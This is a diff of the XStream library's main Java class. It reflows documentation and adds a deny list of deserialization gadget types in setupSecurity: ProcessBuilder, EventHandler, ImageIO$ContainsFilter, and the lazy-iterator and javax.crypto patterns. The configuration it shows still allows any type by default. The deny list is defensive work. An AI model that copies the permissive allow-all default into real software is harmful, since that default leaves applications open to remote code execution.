453425 * @throws InitializationException in case of an initialization problem
454426 * @since 1.3
455 * @deprecated As of 1.4.5 use
456 * {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoaderReference)}
457 */
458 public XStream(
459 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
460 ClassLoader classLoader) {
427 * @deprecated As of 1.4.5 use {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoaderReference)}
428 */
429 public XStream(ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver, ClassLoader classLoader) {
461430 this(reflectionProvider, driver, classLoader, null);
462431 }
463432
464433 /**
465 * Constructs an XStream with a special {@link HierarchicalStreamDriver},
466 * {@link ReflectionProvider}, a prepared {@link Mapper} chain and the {@link ClassLoader}
467 * to use.
468 *
469 * @param reflectionProvider the reflection provider to use or <em>null</em> for best
470 * matching Provider
434 * Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider}, a prepared
435 * {@link Mapper} chain and the {@link ClassLoader} to use.
436 *
437 * @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
471438 * @param driver the driver instance
472439 * @param classLoader the {@link ClassLoader} to use
473 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
474 * chain
440 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
475441 * @throws InitializationException in case of an initialization problem
476442 * @since 1.3
477443 * @deprecated As of 1.4.5 use
478444 * {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoaderReference, Mapper)}
479445 */
480446 public XStream(
481 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
482 ClassLoader classLoader, Mapper mapper) {
483 this(
484 reflectionProvider, driver, new ClassLoaderReference(classLoader), mapper, new DefaultConverterLookup());
485 }
486
487 /**
488 * Constructs an XStream with a special {@link HierarchicalStreamDriver},
489 * {@link ReflectionProvider}, a prepared {@link Mapper} chain and the
490 * {@link ClassLoaderReference}.
447 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver, ClassLoader classLoader,
448 Mapper mapper) {
449 this(reflectionProvider, driver, new ClassLoaderReference(classLoader), mapper, new DefaultConverterLookup());
450 }
451
452 /**
453 * Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider}, a prepared
454 * {@link Mapper} chain and the {@link ClassLoaderReference}.
491455 * <p>
492456 * The {@link ClassLoaderReference} should also be used for the {@link Mapper} chain.
493457 * </p>
494458 *
495 * @param reflectionProvider the reflection provider to use or <em>null</em> for best
496 * matching Provider
459 * @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
497460 * @param driver the driver instance
498461 * @param classLoaderReference the reference to the {@link ClassLoader} to use
499 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
500 * chain
462 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
501463 * @throws InitializationException in case of an initialization problem
502464 * @since 1.4.5
503465 */
504466 public XStream(
505 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
506 ClassLoaderReference classLoaderReference, Mapper mapper) {
507 this(
508 reflectionProvider, driver, classLoaderReference, mapper, new DefaultConverterLookup());
509 }
510
467 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
468 ClassLoaderReference classLoaderReference, Mapper mapper) {
469 this(reflectionProvider, driver, classLoaderReference, mapper, new DefaultConverterLookup());
470 }
471
511472 private XStream(
512473 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver, ClassLoaderReference classLoader,
513474 Mapper mapper, final DefaultConverterLookup defaultConverterLookup) {
523484 }
524485
525486 /**
526 * Constructs an XStream with a special {@link HierarchicalStreamDriver},
527 * {@link ReflectionProvider}, a prepared {@link Mapper} chain, the
528 * {@link ClassLoaderReference} and an own {@link ConverterLookup} and
487 * Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider}, a prepared
488 * {@link Mapper} chain, the {@link ClassLoaderReference} and an own {@link ConverterLookup} and
529489 * {@link ConverterRegistry}.
530490 *
531 * @param reflectionProvider the reflection provider to use or <em>null</em> for best
532 * matching Provider
491 * @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
533492 * @param driver the driver instance
534493 * @param classLoader the {@link ClassLoader} to use
535 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
536 * chain
494 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
537495 * @param converterLookup the instance that is used to lookup the converters
538496 * @param converterRegistry an instance to manage the converter instances
539497 * @throws InitializationException in case of an initialization problem
542500 * {@link #XStream(ReflectionProvider, HierarchicalStreamDriver, ClassLoaderReference, Mapper, ConverterLookup, ConverterRegistry)}
543501 */
544502 public XStream(
545 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
546 ClassLoader classLoader, Mapper mapper, ConverterLookup converterLookup,
547 ConverterRegistry converterRegistry) {
548 this(reflectionProvider, driver, new ClassLoaderReference(classLoader), mapper, converterLookup, converterRegistry);
549 }
550
551 /**
552 * Constructs an XStream with a special {@link HierarchicalStreamDriver},
553 * {@link ReflectionProvider}, a prepared {@link Mapper} chain, the
554 * {@link ClassLoaderReference} and an own {@link ConverterLookup} and
503 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver, ClassLoader classLoader,
504 Mapper mapper, ConverterLookup converterLookup, ConverterRegistry converterRegistry) {
505 this(reflectionProvider, driver, new ClassLoaderReference(classLoader), mapper, converterLookup,
506 converterRegistry);
507 }
508
509 /**
510 * Constructs an XStream with a special {@link HierarchicalStreamDriver}, {@link ReflectionProvider}, a prepared
511 * {@link Mapper} chain, the {@link ClassLoaderReference} and an own {@link ConverterLookup} and
555512 * {@link ConverterRegistry}.
556513 * <p>
557 * The ClassLoaderReference should also be used for the Mapper chain. The ConverterLookup
558 * should access the ConverterRegistry if you intent to register {@link Converter} instances
559 * with XStream facade or you are using annotations.
514 * The ClassLoaderReference should also be used for the Mapper chain. The ConverterLookup should access the
515 * ConverterRegistry if you intent to register {@link Converter} instances with XStream facade or you are using
516 * annotations.
560517 * </p>
561518 *
562 * @param reflectionProvider the reflection provider to use or <em>null</em> for best
563 * matching Provider
519 * @param reflectionProvider the reflection provider to use or <em>null</em> for best matching Provider
564520 * @param driver the driver instance
565521 * @param classLoaderReference the reference to the {@link ClassLoader} to use
566 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default
567 * chain
522 * @param mapper the instance with the {@link Mapper} chain or <em>null</em> for the default chain
568523 * @param converterLookup the instance that is used to lookup the converters
569 * @param converterRegistry an instance to manage the converter instances or <em>null</em>
570 * to prevent any further registry (including annotations)
524 * @param converterRegistry an instance to manage the converter instances or <em>null</em> to prevent any further
525 * registry (including annotations)
571526 * @throws InitializationException in case of an initialization problem
572527 * @since 1.4.5
573528 */
574529 public XStream(
575 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
576 ClassLoaderReference classLoaderReference, Mapper mapper, ConverterLookup converterLookup,
577 ConverterRegistry converterRegistry) {
530 ReflectionProvider reflectionProvider, HierarchicalStreamDriver driver,
531 ClassLoaderReference classLoaderReference, Mapper mapper, ConverterLookup converterLookup,
532 ConverterRegistry converterRegistry) {
578533 if (reflectionProvider == null) {
579534 reflectionProvider = JVM.newReflectionProvider();
580535 }
612567 mapper = new DefaultImplementationsMapper(mapper);
613568 mapper = new AttributeMapper(mapper, converterLookup, reflectionProvider);
614569 if (JVM.isVersion(5)) {
615 mapper = buildMapperDynamically(
616 "com.thoughtworks.xstream.mapper.EnumMapper", new Class[]{Mapper.class},
570 mapper = buildMapperDynamically("com.thoughtworks.xstream.mapper.EnumMapper", new Class[]{Mapper.class},
617571 new Object[]{mapper});
618572 }
619573 mapper = new LocalConversionMapper(mapper);
625579 mapper = new SecurityMapper(mapper);
626580 if (JVM.isVersion(5)) {
627581 mapper = buildMapperDynamically(ANNOTATION_MAPPER_TYPE, new Class[]{
628 Mapper.class, ConverterRegistry.class, ConverterLookup.class,
629 ClassLoaderReference.class, ReflectionProvider.class}, new Object[]{
630 mapper, converterRegistry, converterLookup, classLoaderReference,
631 reflectionProvider});
582 Mapper.class, ConverterRegistry.class, ConverterLookup.class, ClassLoaderReference.class,
583 ReflectionProvider.class}, new Object[]{
584 mapper, converterRegistry, converterLookup, classLoaderReference, reflectionProvider});
632585 }
633586 mapper = wrapMapper((MapperWrapper)mapper);
634587 mapper = new CachingMapper(mapper);
636589 }
637590
638591 private Mapper buildMapperDynamically(String className, Class[] constructorParamTypes,
639 Object[] constructorParamValues) {
592 Object[] constructorParamValues) {
640593 try {
641594 Class type = Class.forName(className, false, classLoaderReference.getReference());
642595 Constructor constructor = type.getConstructor(constructorParamTypes);
643596 return (Mapper)constructor.newInstance(constructorParamValues);
644597 } catch (Exception e) {
645 throw new com.thoughtworks.xstream.InitializationException(
646 "Could not instantiate mapper : " + className, e);
598 throw new com.thoughtworks.xstream.InitializationException("Could not instantiate mapper : " + className,
599 e);
647600 } catch (LinkageError e) {
648 throw new com.thoughtworks.xstream.InitializationException(
649 "Could not instantiate mapper : " + className, e);
601 throw new com.thoughtworks.xstream.InitializationException("Could not instantiate mapper : " + className,
602 e);
650603 }
651604 }
652605
662615 }
663616
664617 private void setupMappers() {
665 packageAliasingMapper = (PackageAliasingMapper)this.mapper
666 .lookupMapperOfType(PackageAliasingMapper.class);
667 classAliasingMapper = (ClassAliasingMapper)this.mapper
668 .lookupMapperOfType(ClassAliasingMapper.class);
669 elementIgnoringMapper = (ElementIgnoringMapper)this.mapper
670 .lookupMapperOfType(ElementIgnoringMapper.class);
671 fieldAliasingMapper = (FieldAliasingMapper)this.mapper
672 .lookupMapperOfType(FieldAliasingMapper.class);
673 attributeMapper = (AttributeMapper)this.mapper
674 .lookupMapperOfType(AttributeMapper.class);
618 packageAliasingMapper = (PackageAliasingMapper)this.mapper.lookupMapperOfType(PackageAliasingMapper.class);
619 classAliasingMapper = (ClassAliasingMapper)this.mapper.lookupMapperOfType(ClassAliasingMapper.class);
620 elementIgnoringMapper = (ElementIgnoringMapper)this.mapper.lookupMapperOfType(ElementIgnoringMapper.class);
621 fieldAliasingMapper = (FieldAliasingMapper)this.mapper.lookupMapperOfType(FieldAliasingMapper.class);
622 attributeMapper = (AttributeMapper)this.mapper.lookupMapperOfType(AttributeMapper.class);
675623 attributeAliasingMapper = (AttributeAliasingMapper)this.mapper
676624 .lookupMapperOfType(AttributeAliasingMapper.class);
677625 systemAttributeAliasingMapper = (SystemAttributeAliasingMapper)this.mapper
680628 .lookupMapperOfType(ImplicitCollectionMapper.class);
681629 defaultImplementationsMapper = (DefaultImplementationsMapper)this.mapper
682630 .lookupMapperOfType(DefaultImplementationsMapper.class);
683 immutableTypesMapper = (ImmutableTypesMapper)this.mapper
684 .lookupMapperOfType(ImmutableTypesMapper.class);
685 localConversionMapper = (LocalConversionMapper)this.mapper
686 .lookupMapperOfType(LocalConversionMapper.class);
687 securityMapper = (SecurityMapper)this.mapper
688 .lookupMapperOfType(SecurityMapper.class);
631 immutableTypesMapper = (ImmutableTypesMapper)this.mapper.lookupMapperOfType(ImmutableTypesMapper.class);
632 localConversionMapper = (LocalConversionMapper)this.mapper.lookupMapperOfType(LocalConversionMapper.class);
633 securityMapper = (SecurityMapper)this.mapper.lookupMapperOfType(SecurityMapper.class);
689634 annotationConfiguration = (AnnotationConfiguration)this.mapper
690635 .lookupMapperOfType(AnnotationConfiguration.class);
691636 }
692
637
693638 protected void setupSecurity() {
694639 if (securityMapper == null) {
695640 return;
696641 }
697
642
698643 addPermission(AnyTypePermission.ANY);
644 denyTypes(new String[]{"java.beans.EventHandler", "java.lang.ProcessBuilder", "javax.imageio.ImageIO$ContainsFilter"});
645 denyTypesByRegExp(new Pattern[]{LAZY_ITERATORS, JAVAX_CRYPTO});
646 allowTypeHierarchy(Exception.class);
699647 securityInitialized = false;
700648 }
701649
839787 alias("tree-map", TreeMap.class);
840788 alias("tree-set", TreeSet.class);
841789 alias("hashtable", Hashtable.class);
842
790
843791 alias("empty-list", Collections.EMPTY_LIST.getClass());
844792 alias("empty-map", Collections.EMPTY_MAP.getClass());
845793 alias("empty-set", Collections.EMPTY_SET.getClass());
888836 alias("string-builder", JVM.loadClassForName("java.lang.StringBuilder"));
889837 alias("uuid", JVM.loadClassForName("java.util.UUID"));
890838 }
891
839
892840 if (JVM.isVersion(7)) {
893841 aliasType("path", JVM.loadClassForName("java.nio.file.Path"));
894842 }
955903 }
956904
957905 protected void setupConverters() {
958 registerConverter(
959 new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW);
960
961 registerConverter(
962 new SerializableConverter(mapper, reflectionProvider, classLoaderReference), PRIORITY_LOW);
906 registerConverter(new ReflectionConverter(mapper, reflectionProvider), PRIORITY_VERY_LOW);
907
908 registerConverter(new SerializableConverter(mapper, reflectionProvider, classLoaderReference), PRIORITY_LOW);
963909 registerConverter(new ExternalizableConverter(mapper, classLoaderReference), PRIORITY_LOW);
964 registerConverter(new InternalBlackList(), PRIORITY_LOW);
965910
966911 registerConverter(new NullConverter(), PRIORITY_VERY_HIGH);
967912 registerConverter(new IntConverter(), PRIORITY_NORMAL);
1010955 registerConverter(new TextAttributeConverter(), PRIORITY_NORMAL);
1011956 }
1012957 if (JVM.isSwingAvailable()) {
1013 registerConverter(
1014 new LookAndFeelConverter(mapper, reflectionProvider), PRIORITY_NORMAL);
958 registerConverter(new LookAndFeelConverter(mapper, reflectionProvider), PRIORITY_NORMAL);
1015959 }
1016960 registerConverter(new LocaleConverter(), PRIORITY_NORMAL);
1017961 registerConverter(new GregorianCalendarConverter(), PRIORITY_NORMAL);
1018962
1019963 if (JVM.isVersion(4)) {
1020964 // late bound converters - allows XStream to be compiled on earlier JDKs
1021 registerConverterDynamically(
1022 "com.thoughtworks.xstream.converters.extended.SubjectConverter",
965 registerConverterDynamically("com.thoughtworks.xstream.converters.extended.SubjectConverter",
1023966 PRIORITY_NORMAL, new Class[]{Mapper.class}, new Object[]{mapper});
1024 registerConverterDynamically(
1025 "com.thoughtworks.xstream.converters.extended.ThrowableConverter",
1026 PRIORITY_NORMAL, new Class[]{ConverterLookup.class},
1027 new Object[]{converterLookup});
1028 registerConverterDynamically(
1029 "com.thoughtworks.xstream.converters.extended.StackTraceElementConverter",
967 registerConverterDynamically("com.thoughtworks.xstream.converters.extended.ThrowableConverter",
968 PRIORITY_NORMAL, new Class[]{ConverterLookup.class}, new Object[]{converterLookup});
969 registerConverterDynamically("com.thoughtworks.xstream.converters.extended.StackTraceElementConverter",
1030970 PRIORITY_NORMAL, null, null);
1031 registerConverterDynamically(
1032 "com.thoughtworks.xstream.converters.extended.CurrencyConverter",
971 registerConverterDynamically("com.thoughtworks.xstream.converters.extended.CurrencyConverter",
1033972 PRIORITY_NORMAL, null, null);
1034 registerConverterDynamically(
1035 "com.thoughtworks.xstream.converters.extended.RegexPatternConverter",
973 registerConverterDynamically("com.thoughtworks.xstream.converters.extended.RegexPatternConverter",
1036974 PRIORITY_NORMAL, null, null);
1037 registerConverterDynamically(
1038 "com.thoughtworks.xstream.converters.extended.CharsetConverter",
975 registerConverterDynamically("com.thoughtworks.xstream.converters.extended.CharsetConverter",
1039976 PRIORITY_NORMAL, null, null);
1040977 }
1041978
1042979 if (JVM.isVersion(5)) {
1043980 // late bound converters - allows XStream to be compiled on earlier JDKs
1044981 if (JVM.loadClassForName("javax.xml.datatype.Duration") != null) {
1045 registerConverterDynamically(
1046 "com.thoughtworks.xstream.converters.extended.DurationConverter",
982 registerConverterDynamically("com.thoughtworks.xstream.converters.extended.DurationConverter",
1047983 PRIORITY_NORMAL, null, null);
1048984 }
1049 registerConverterDynamically(
1050 "com.thoughtworks.xstream.converters.enums.EnumConverter", PRIORITY_NORMAL,
985 registerConverterDynamically("com.thoughtworks.xstream.converters.enums.EnumConverter", PRIORITY_NORMAL,
1051986 null, null);
1052 registerConverterDynamically(
1053 "com.thoughtworks.xstream.converters.enums.EnumSetConverter", PRIORITY_NORMAL,
987 registerConverterDynamically("com.thoughtworks.xstream.converters.enums.EnumSetConverter", PRIORITY_NORMAL,
1054988 new Class[]{Mapper.class}, new Object[]{mapper});
1055 registerConverterDynamically(
1056 "com.thoughtworks.xstream.converters.enums.EnumMapConverter", PRIORITY_NORMAL,
989 registerConverterDynamically("com.thoughtworks.xstream.converters.enums.EnumMapConverter", PRIORITY_NORMAL,
1057990 new Class[]{Mapper.class}, new Object[]{mapper});
1058 registerConverterDynamically(
1059 "com.thoughtworks.xstream.converters.basic.StringBuilderConverter",
991 registerConverterDynamically("com.thoughtworks.xstream.converters.basic.StringBuilderConverter",
1060992 PRIORITY_NORMAL, null, null);
1061 registerConverterDynamically(
1062 "com.thoughtworks.xstream.converters.basic.UUIDConverter", PRIORITY_NORMAL,
993 registerConverterDynamically("com.thoughtworks.xstream.converters.basic.UUIDConverter", PRIORITY_NORMAL,
1063994 null, null);
1064995 }
1065996 if (JVM.loadClassForName("javax.activation.ActivationDataFlavor") != null) {
1067998 PRIORITY_NORMAL, null, null);
1068999 }
10691000 if (JVM.isVersion(7)) {
1070 registerConverterDynamically("com.thoughtworks.xstream.converters.extended.PathConverter",
1071 PRIORITY_NORMAL, null, null);
1001 registerConverterDynamically("com.thoughtworks.xstream.converters.extended.PathConverter", PRIORITY_NORMAL,
1002 null, null);
10721003 }
10731004 if (JVM.isVersion(8)) {
10741005 registerConverterDynamically("com.thoughtworks.xstream.converters.time.ChronologyConverter",
11201051 new Object[]{mapper, reflectionProvider, classLoaderReference});
11211052 }
11221053
1123 registerConverter(
1124 new SelfStreamingInstanceChecker(converterLookup, this), PRIORITY_NORMAL);
1125 }
1126
1127 private void registerConverterDynamically(String className, int priority,
1128 Class[] constructorParamTypes, Object[] constructorParamValues) {
1054 registerConverter(new SelfStreamingInstanceChecker(converterLookup, this), PRIORITY_NORMAL);
1055 }
1056
1057 private void registerConverterDynamically(String className, int priority, Class[] constructorParamTypes,
1058 Object[] constructorParamValues) {
11291059 try {
11301060 Class type = Class.forName(className, false, classLoaderReference.getReference());
11311061 Constructor constructor = type.getConstructor(constructorParamTypes);
11361066 registerConverter((SingleValueConverter)instance, priority);
11371067 }
11381068 } catch (Exception e) {
1139 throw new com.thoughtworks.xstream.InitializationException(
1140 "Could not instantiate converter : " + className, e);
1069 throw new com.thoughtworks.xstream.InitializationException("Could not instantiate converter : " + className,
1070 e);
11411071 } catch (LinkageError e) {
1142 throw new com.thoughtworks.xstream.InitializationException(
1143 "Could not instantiate converter : " + className, e);
1072 throw new com.thoughtworks.xstream.InitializationException("Could not instantiate converter : " + className,
1073 e);
11441074 }
11451075 }
11461076
11811111 if (type != null) {
11821112 Method methodGet;
11831113 try {
1184 methodGet = type.getDeclaredMethod("get", new Class[] {String.class, String[].class});
1114 methodGet = type.getDeclaredMethod("get", new Class[]{String.class, String[].class});
11851115 if (methodGet != null) {
11861116 Object path = methodGet.invoke(null, new Object[]{".", new String[0]});
11871117 if (path != null) {
12051135 addImmutableTypeDynamically("java.nio.charset.Charset", true);
12061136 addImmutableTypeDynamically("java.util.Currency", true);
12071137 }
1208
1138
12091139 if (JVM.isVersion(5)) {
12101140 addImmutableTypeDynamically("java.util.UUID", true);
12111141 }
12701200 }
12711201
12721202 /**
1273 * Serialize an object to the given Writer as pretty-printed XML. The Writer will be flushed
1274 * afterwards and in case of an exception.
1203 * Serialize an object to the given Writer as pretty-printed XML. The Writer will be flushed afterwards and in case
1204 * of an exception.
12751205 *
12761206 * @throws XStreamException if the object cannot be serialized
12771207 */
12851215 }
12861216
12871217 /**
1288 * Serialize an object to the given OutputStream as pretty-printed XML. The OutputStream
1289 * will be flushed afterwards and in case of an exception.
1218 * Serialize an object to the given OutputStream as pretty-printed XML. The OutputStream will be flushed afterwards
1219 * and in case of an exception.
12901220 *
12911221 * @throws XStreamException if the object cannot be serialized
12921222 */
13111241 /**
13121242 * Serialize and object to a hierarchical data structure (such as XML).
13131243 *
1314 * @param dataHolder Extra data you can use to pass to your converters. Use this as you
1315 * want. If not present, XStream shall create one lazily as needed.
1244 * @param dataHolder Extra data you can use to pass to your converters. Use this as you want. If not present,
1245 * XStream shall create one lazily as needed.
13161246 * @throws XStreamException if the object cannot be serialized
13171247 */
13181248 public void marshal(Object obj, HierarchicalStreamWriter writer, DataHolder dataHolder) {
13471277 }
13481278
13491279 /**
1350 * Deserialize an object from a URL.
1351 *
1352 * Depending on the parser implementation, some might take the file path as SystemId to
1353 * resolve additional references.
1280 * Deserialize an object from a URL. Depending on the parser implementation, some might take the file path as
1281 * SystemId to resolve additional references.
13541282 *
13551283 * @throws XStreamException if the object cannot be deserialized
13561284 * @since 1.4
13601288 }
13611289
13621290 /**
1363 * Deserialize an object from a file.
1364 *
1365 * Depending on the parser implementation, some might take the file path as SystemId to
1366 * resolve additional references.
1291 * Deserialize an object from a file. Depending on the parser implementation, some might take the file path as
1292 * SystemId to resolve additional references.
13671293 *
13681294 * @throws XStreamException if the object cannot be deserialized
13691295 * @since 1.4
13731299 }
13741300
13751301 /**
1376 * Deserialize an object from an XML String, populating the fields of the given root object
1377 * instead of instantiating a new one. Note, that this is a special use case! With the
1378 * ReflectionConverter XStream will write directly into the raw memory area of the existing
1379 * object. Use with care!
1302 * Deserialize an object from an XML String, populating the fields of the given root object instead of instantiating
1303 * a new one. Note, that this is a special use case! With the ReflectionConverter XStream will write directly into
1304 * the raw memory area of the existing object. Use with care!
13801305 *
13811306 * @throws XStreamException if the object cannot be deserialized
13821307 */
13851310 }
13861311
13871312 /**
1388 * Deserialize an object from an XML Reader, populating the fields of the given root object
1389 * instead of instantiating a new one. Note, that this is a special use case! With the
1390 * ReflectionConverter XStream will write directly into the raw memory area of the existing
1391 * object. Use with care!
1313 * Deserialize an object from an XML Reader, populating the fields of the given root object instead of instantiating
1314 * a new one. Note, that this is a special use case! With the ReflectionConverter XStream will write directly into
1315 * the raw memory area of the existing object. Use with care!
13921316 *
13931317 * @throws XStreamException if the object cannot be deserialized
13941318 */
13971321 }
13981322
13991323 /**
1400 * Deserialize an object from a URL, populating the fields of the given root
1401 * object instead of instantiating a new one. Note, that this is a special use case! With
1402 * the ReflectionConverter XStream will write directly into the raw memory area of the
1403 * existing object. Use with care!
1404 *
1405 * Depending on the parser implementation, some might take the file path as SystemId to
1406 * resolve additional references.
1324 * Deserialize an object from a URL, populating the fields of the given root object instead of instantiating a new
1325 * one. Note, that this is a special use case! With the ReflectionConverter XStream will write directly into the raw
1326 * memory area of the existing object. Use with care! Depending on the parser implementation, some might take the
1327 * file path as SystemId to resolve additional references.
14071328 *
14081329 * @throws XStreamException if the object cannot be deserialized
14091330 * @since 1.4
14131334 }
14141335
14151336 /**
1416 * Deserialize an object from a file, populating the fields of the given root
1417 * object instead of instantiating a new one. Note, that this is a special use case! With
1418 * the ReflectionConverter XStream will write directly into the raw memory area of the
1419 * existing object. Use with care!
1420 *
1421 * Depending on the parser implementation, some might take the file path as SystemId to
1422 * resolve additional references.
1337 * Deserialize an object from a file, populating the fields of the given root object instead of instantiating a new
1338 * one. Note, that this is a special use case! With the ReflectionConverter XStream will write directly into the raw
1339 * memory area of the existing object. Use with care! Depending on the parser implementation, some might take the
1340 * file path as SystemId to resolve additional references.
14231341 *
14241342 * @throws XStreamException if the object cannot be deserialized
14251343 * @since 1.4
14341352 }
14351353
14361354 /**
1437 * Deserialize an object from an XML InputStream, populating the fields of the given root
1438 * object instead of instantiating a new one. Note, that this is a special use case! With
1439 * the ReflectionConverter XStream will write directly into the raw memory area of the
1440 * existing object. Use with care!
1355 * Deserialize an object from an XML InputStream, populating the fields of the given root object instead of
1356 * instantiating a new one. Note, that this is a special use case! With the ReflectionConverter XStream will write
1357 * directly into the raw memory area of the existing object. Use with care!
14411358 *
14421359 * @throws XStreamException if the object cannot be deserialized
14431360 */
14551372 }
14561373
14571374 /**
1458 * Deserialize an object from a hierarchical data structure (such as XML), populating the
1459 * fields of the given root object instead of instantiating a new one. Note, that this is a
1460 * special use case! With the ReflectionConverter XStream will write directly into the raw
1461 * memory area of the existing object. Use with care!
1375 * Deserialize an object from a hierarchical data structure (such as XML), populating the fields of the given root
1376 * object instead of instantiating a new one. Note, that this is a special use case! With the ReflectionConverter
1377 * XStream will write directly into the raw memory area of the existing object. Use with care!
14621378 *
14631379 * @throws XStreamException if the object cannot be deserialized
14641380 */
14691385 /**
14701386 * Deserialize an object from a hierarchical data structure (such as XML).
14711387 *
1472 * @param root If present, the passed in object will have its fields populated, as opposed
1473 * to XStream creating a new instance. Note, that this is a special use case!
1474 * With the ReflectionConverter XStream will write directly into the raw memory
1475 * area of the existing object. Use with care!
1476 * @param dataHolder Extra data you can use to pass to your converters. Use this as you
1477 * want. If not present, XStream shall create one lazily as needed.
1388 * @param root If present, the passed in object will have its fields populated, as opposed to XStream creating a new
1389 * instance. Note, that this is a special use case! With the ReflectionConverter XStream will write
1390 * directly into the raw memory area of the existing object. Use with care!
1391 * @param dataHolder Extra data you can use to pass to your converters. Use this as you want. If not present,
1392 * XStream shall create one lazily as needed.
14781393 * @throws XStreamException if the object cannot be deserialized
14791394 */
14801395 public Object unmarshal(HierarchicalStreamReader reader, Object root, DataHolder dataHolder) {
14811396 try {
14821397 if (!securityInitialized && !securityWarningGiven) {
14831398 securityWarningGiven = true;
1484 System.err.println("Security framework of XStream not initialized, XStream is probably vulnerable.");
1399 System.err
1400 .println(
1401 "Security framework of XStream not explicitly initialized, using predefined black list on your own risk.");
14851402 }
1486 return marshallingStrategy.unmarshal(
1487 root, reader, dataHolder, converterLookup, mapper);
1403 return marshallingStrategy.unmarshal(root, reader, dataHolder, converterLookup, mapper);
14881404
14891405 } catch (ConversionException e) {
14901406 Package pkg = getClass().getPackage();
15111427 }
15121428
15131429 /**
1514 * Alias a type to a shorter name to be used in XML elements. Any class that is assignable
1515 * to this type will be aliased to the same name.
1430 * Alias a type to a shorter name to be used in XML elements. Any class that is assignable to this type will be
1431 * aliased to the same name.
15161432 *
15171433 * @param name Short name
15181434 * @param type Type to be aliased
15341450 * @param name Short name
15351451 * @param type Type to be aliased
15361452 * @param defaultImplementation Default implementation of type to use if no other specified.
1537 * @throws InitializationException if no {@link DefaultImplementationsMapper} or no
1538 * {@link ClassAliasingMapper} is available
1453 * @throws InitializationException if no {@link DefaultImplementationsMapper} or no {@link ClassAliasingMapper} is
1454 * available
15391455 */
15401456 public void alias(String name, Class type, Class defaultImplementation) {
15411457 alias(name, type);
15471463 *
15481464 * @param name Short name
15491465 * @param pkgName package to be aliased
1550 * @throws InitializationException if no {@link DefaultImplementationsMapper} or no
1551 * {@link PackageAliasingMapper} is available
1466 * @throws InitializationException if no {@link DefaultImplementationsMapper} or no {@link PackageAliasingMapper} is
1467 * available
15521468 * @since 1.3.1
15531469 */
15541470 public void aliasPackage(String name, String pkgName) {
15941510 }
15951511
15961512 /**
1597 * Create an alias for a system attribute. XStream will not write a system attribute if its
1598 * alias is set to <code>null</code>. However, this is not reversible, i.e. deserialization
1599 * of the result is likely to fail afterwards and will not produce an object equal to the
1600 * originally written one.
1513 * Create an alias for a system attribute. XStream will not write a system attribute if its alias is set to
1514 * <code>null</code>. However, this is not reversible, i.e. deserialization of the result is likely to fail
1515 * afterwards and will not produce an object equal to the originally written one.
16011516 *
16021517 * @param alias the alias itself (may be <code>null</code>)
16031518 * @param systemAttributeName the name of the system attribute
16781593 }
16791594
16801595 /**
1681 * Associate a default implementation of a class with an object. Whenever XStream encounters
1682 * an instance of this type, it will use the default implementation instead. For example,
1683 * java.util.ArrayList is the default implementation of java.util.List.
1596 * Associate a default implementation of a class with an object. Whenever XStream encounters an instance of this
1597 * type, it will use the default implementation instead. For example, java.util.ArrayList is the default
1598 * implementation of java.util.List.
16841599 *
16851600 * @param defaultImplementation
16861601 * @param ofType
17461661
17471662 public void registerConverter(SingleValueConverter converter, int priority) {
17481663 if (converterRegistry != null) {
1749 converterRegistry.registerConverter(
1750 new SingleValueConverterWrapper(converter), priority);
1664 converterRegistry.registerConverter(new SingleValueConverterWrapper(converter), priority);
17511665 }
17521666 }
17531667
17761690 * @param converter the converter to use
17771691 * @since 1.3
17781692 */
1779 public void registerLocalConverter(Class definedIn, String fieldName,
1780 SingleValueConverter converter) {
1781 registerLocalConverter(
1782 definedIn, fieldName, (Converter)new SingleValueConverterWrapper(converter));
1783 }
1784
1785 /**
1786 * Retrieve the {@link Mapper}. This is by default a chain of {@link MapperWrapper
1787 * MapperWrappers}.
1693 public void registerLocalConverter(Class definedIn, String fieldName, SingleValueConverter converter) {
1694 registerLocalConverter(definedIn, fieldName, (Converter)new SingleValueConverterWrapper(converter));
1695 }
1696
1697 /**
1698 * Retrieve the {@link Mapper}. This is by default a chain of {@link MapperWrapper MapperWrappers}.
17881699 *
17891700 * @return the mapper
17901701 * @since 1.2
18081719 }
18091720
18101721 /**
1811 * Change mode for dealing with duplicate references. Valid values are
1812 * <code>XPATH_ABSOLUTE_REFERENCES</code>, <code>XPATH_RELATIVE_REFERENCES</code>,
1813 * <code>XStream.ID_REFERENCES</code> and <code>XStream.NO_REFERENCES</code>.
1722 * Change mode for dealing with duplicate references. Valid values are <code>XPATH_ABSOLUTE_REFERENCES</code>,
1723 * <code>XPATH_RELATIVE_REFERENCES</code>, <code>XStream.ID_REFERENCES</code> and
1724 * <code>XStream.NO_REFERENCES</code>.
18141725 *
18151726 * @throws IllegalArgumentException if the mode is not one of the declared types
18161727 * @see #XPATH_ABSOLUTE_REFERENCES
18351746 ReferenceByXPathMarshallingStrategy.ABSOLUTE));
18361747 break;
18371748 case SINGLE_NODE_XPATH_RELATIVE_REFERENCES:
1838 setMarshallingStrategy(new ReferenceByXPathMarshallingStrategy(
